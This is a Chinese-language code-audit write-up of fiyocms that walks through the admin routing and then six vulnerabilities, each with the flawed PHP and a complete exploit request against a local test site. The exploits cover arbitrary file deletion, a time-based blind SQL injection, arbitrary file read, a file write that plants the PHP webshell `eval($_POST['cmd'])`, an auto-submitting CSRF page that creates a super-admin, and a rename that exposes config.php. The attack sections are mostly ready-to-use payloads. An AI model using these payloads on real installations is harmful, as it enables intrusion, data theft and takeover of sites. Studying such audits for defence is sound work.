记录fiyocms审计过程以及漏洞分析

全局分析

该CMS的核心分析页面是在/dapur/index.php中,这是一个管理员的后台管理页面,首先需要以管理的身份进行登录,登录后,我们可以发现,访问其中很多具体管理页面,都是通过GET方式向服务器提交参数,如添加用户功能,提交的是app参数和act参数,那么我们在Seay审计系统中通过全局搜索功能搜索关键参数app,观察是哪个具体的文件接收了这个参数

可以看出,/dapur/system/apps.php文件接收了app参数,于是跟进该文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if(!empty($app)){
if(!file_exists("apps/app_$app/app_$app.php"))
{
function sysAdminApps() {
htmlRedirect('../'.siteConfig('backend_folder'));
/* blank line */
}
function loadAdminApps() {
/* blank line */
}
}
else {
function sysAdminApps() {
$app=$_REQUEST['app'];
baseSystem($app);
}
function loadAdminApps() {
$app=$_REQUEST['app'];
baseApps("app_".$app);
}
}
}

当接收到app参数时,做出判断apps/app_$app/app_$app.php文件是否存在,如果存在定义两个方法:sysAdminApps()和loadAdminApps(),其中又调用了baseSystem()和baseApps()方法,我们继续搜索这两个方法的出处

1
2
3
4
5
6
7
8
function baseApps($file){
require ("apps/$file/$file.php");
}

function baseSystem($file){
$file = "apps/app_$file/sys_$file.php";
if(file_exists($file)) include($file);
}

可以这两个方法发现包含了两个关键性文件,所以,管理界面每个功能都包含了两个关键文件,例如添加用户功能($app=user),那么就有两个关键文件:apps/app_user/app_user.php和apps/app_user/sys_user.php需要我们去关注

漏洞分析

任意文件删除

位置

/dapur/apps/app_config/controller/backuper.php 第16-30行

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if($_POST['type'] == 'database') {		
@unlink("../../../../.backup/$_POST[file]");
if(!file_exists('../../../../.backup'))
mkdir('../../../../.backup');
$date = md5(date("Ymd:His"));
$file = "db-backup-$date";
$c = backup_tables("*",'../../../../.backup',"$file",true);
if($c) {
$size = format_size(filesize("../../../../.backup/$file.sql"));
$time = date("Y/m/d H:i:s",filemtime("../../../../.backup/$file.sql"));
$r = "$size - $time";
echo "{ \"file\":\"$file.sql\" , \"info\":\"$r\" }";

}
}

其实这个文件存在非常多这个问题,通过POST传递的参数file没有经过任何处理就拼接进unlink函数进行文件删除操作

复现

在网站根目录下建立demo.php文件

攻击payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /dapur/apps/app_config/controller/backuper.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 65
Accept: */*
Origin: http://127.0.0.1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://127.0.0.1/dapur/index.php?app=config&view=backup
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=adad7183ca248a9be539f0a153ce72f8; bdshare_firstime=1551059496947
Connection: close

type=database&file=../demo.php

demo.php被删除

SQL注入漏洞

位置

/system/database.php 第210-233行

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public function update($table,$rows,$where)
{
$update = 'UPDATE '.$table.' SET ';
$keys = array_keys($rows);

for($i = 0; $i < count($rows); $i++){
if(is_string($rows[$keys[$i]]) AND $rows[$keys[$i]] !== '+hits')
{
$update .= $keys[$i].'="'.$rows[$keys[$i]].'"';
}
else
{
if($rows[$keys[$i]] == '+hits') $rows[$keys[$i]] = $keys[$i] . '+'. 1;
$update .= $keys[$i].'='.$rows[$keys[$i]];
}

// Parse to add commas
if($i != count($rows)-1)
{
$update .= ',';
}
}

$update .= ' WHERE '.$where;

可以看到这里update语句中的where条件是通过直接拼接参数$where而成的,猜测可能通过$where参数构成sql注入,我们随便找一个带有update方法的实例,如/dapur/apps/app_user/controller.php

1
2
3
4
5
if(isset($_GET['stat'])) {
if($_GET['stat']=='1'){
$db->update(FDBPrefix.'user',array("status"=>"1"),'id='.$_GET['id']);
alert('success',Status_Applied,1);
}

我们可以通过GET方式构造id参数构成SQL注入攻击

复现

payload如下:

1
2
3
4
5
6
7
8
9
10
GET /dapur/apps/app_user/controller/status.php?stat=1&id=1%20and%20if(ascii(substr(database(),1,1))=102,sleep(3),1) HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=adad7183ca248a9be539f0a153ce72f8; bdshare_firstime=1551059496947
Connection: close

成功造成延时注入

当然,delete方法也同样存在这个问题,就不赘述了

文件读取漏洞

位置

/dapur/apps/app_theme/libs/check_file.php 第13-26行

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$file = $url= "$_GET[src]/$_GET[name]"; 
$furl = "../../../$url";

$content = strlen("$file") - 5;
$content = substr("$file",$content);
$file = strpos("$content",".");
$file = substr("$content",$file+1);

if($file == "html" || $file == "htm" || $file == "xhtml" || $file == "js" ||
$file == "jsp" || $file == "php" || $file == "css" || $file == "xml" ) :
$content = @file_get_contents($furl);
$content = htmlentities($content);

?>

审计可知,当$file后缀名为指定文件后缀时,通过file_get_contents函数进行文件读取功能,而参数$furl是通过GET方式传入的参数src和name拼接而成的,这就构成了任意文件读取漏洞

复现

Payload如下:

1
2
3
4
5
6
7
8
9
10
GET /dapur/apps/app_theme/libs/check_file.php?src=..&name=config.php HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=adad7183ca248a9be539f0a153ce72f8; bdshare_firstime=1551059496947
Connection: close

读取的是网站根目录下的config.php文件,结果如下图所示

文件上传漏洞

位置

/dapur/apps/app_theme/libs/save_file.php 第23-27行

分析

1
2
3
$c = $_POST["content"];
$f = $_POST["src"];
$w = file_put_contents($f,$c);

显而易见没有过滤参数就拼接在file_put_contents函数中,构成文件上传漏洞

复现

Payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /dapur/apps/app_theme/libs/save_file.php HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=adad7183ca248a9be539f0a153ce72f8; bdshare_firstime=1551059496947
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 62

src=../../../../demo.php&content=<?php eval($_POST['cmd']); ?>

在网站根目录下上传一个文件名为demo.php的一句话木马文件,结果如下图

成功上传一句话木马文件

CSRF添加超级用户

位置

/dapur/apps/app_user/sys_user.php 第110-123行

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if(isset($_POST['save']) or isset($_POST['apply'])){
$us=strlen("$_POST[user]");
$ps=strlen("$_POST[password]");
$user = $_POST['user'];
$name = $_POST['name'];
preg_match('/[^a-zA-Z0-9]+/', $user, $matches);
if(!empty($_POST['password']) AND
!empty($_POST['user'])AND
!empty($_POST['name'])AND
!empty($_POST['email'])AND
!empty($_POST['level'])AND
$_POST['password']==$_POST['kpassword'] AND
$us>2 AND $ps>3 AND @ereg("^.+@.+\\..+$",$_POST['email']) AND !$matches) {
$qr=$db->insert(FDBPrefix.'user',array("","$user","$name",MD5("$_POST[password]"),"$_POST[email]","$_POST[status]","$_POST[level]",date('Y-m-d H:i:s'),'',"$_POST[bio]"));

这是一个添加用户的程序,但是没有加入token验证,所以可以造成CSRF攻击,添加超级用户

复现

我们先抓取添加用户的包,确定需要提交的参数,抓包结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /dapur/?app=user&act=add HTTP/1.1
Host: 127.0.0.1
Content-Length: 124
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/dapur/?app=user&act=add
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=adad7183ca248a9be539f0a153ce72f8; bdshare_firstime=1551059496947
Connection: close

apply=Next&id=&z=&user=test02&z=&x=&password=test02&kpassword=test02&email=123%4012345.com&level=1&name=test02&status=1&bio=

构造好的用于建立超级用户的网页代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<html>
<body>
<form name="csrf" action="http://127.0.0.1/dapur/?app=user&act=add" method="post">
<input type="hidden" name="apply" value="Next">
<input type="hidden" name="id" value="">
<input type="hidden" name="z" value="">
<input type="hidden" name="user" value="test66">
<input type="hidden" name="z" value="">
<input type="hidden" name="x" value="">
<input type="hidden" name="password" value="test66">
<input type="hidden" name="kpassword" value="test66">
<input type="hidden" name="email" value="123&#x40;12345&#x2e;com">
<input type="hidden" name="level" value="1">
<input type="hidden" name="name" value="test66">
<input type="hidden" name="status" value="1">
<input type="hidden" name="bio" value="">
</form>

<script type="text/javascript">
document.csrf.submit();
</script>

</body>
</html>

用户访问https://127.0.0.1/demo.html,就会立即生成test66的超级用户

任意文件修改漏洞

位置

/dapur/apps/app_config/sys_config.php 第190-193行

分析

1
2
3
4
$new_folder = $_POST['folder_new'];
$old_folder = $_POST['folder_old'];
if($old_folder != $new_folder) {
$ok = @rename("../$old_folder","../$new_folder");

对POST传递的参数folder_new和folder_old未进行过滤拼接至rename函数进行文件名修改操作

复现

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /dapur/?app=config HTTP/1.1
Host: 127.0.0.1
Content-Length: 517
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/dapur/?app=config
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=adad7183ca248a9be539f0a153ce72f8; bdshare_firstime=1551059496947
Connection: close

config_save=Simpan&site_name=fiyocms&title=Fast%2C+Save+%26+Elegant%21&url=localhost&mail=your%40site.net&folder_new=config.txt&folder_old=config.php&status=1&meta_keys=keyword+1%2C+keyword+two%2C+3rd+key&meta_desc=&sef=1&https=0&www=1&follow_link=1&title_type=1&title_divider=+-+&sef_ext=.html&name=fiyocms&member_registration=1&member_activation=2&member_group=5&file_allowed=swf+flv+avi+mpg+mpeg+qt+mov+wmv+asf+rm+rar+zip+exe+msi+iso&disk_space=500&file_size=5120&media_theme=oxygen&lang=id&timezone=Asia%2FJakarta

将网站根目录config.php文件修改成config.txt文件

直接可以查看网站的配置信息

后记

该CMS存在大多的问题都是由于未对用户提交的参数进行过滤处理,导致一系列的漏洞发生,本次审计漏洞难度较简单,网站结构相对于zzcms较为复杂,还需要多加实践增加审计的经验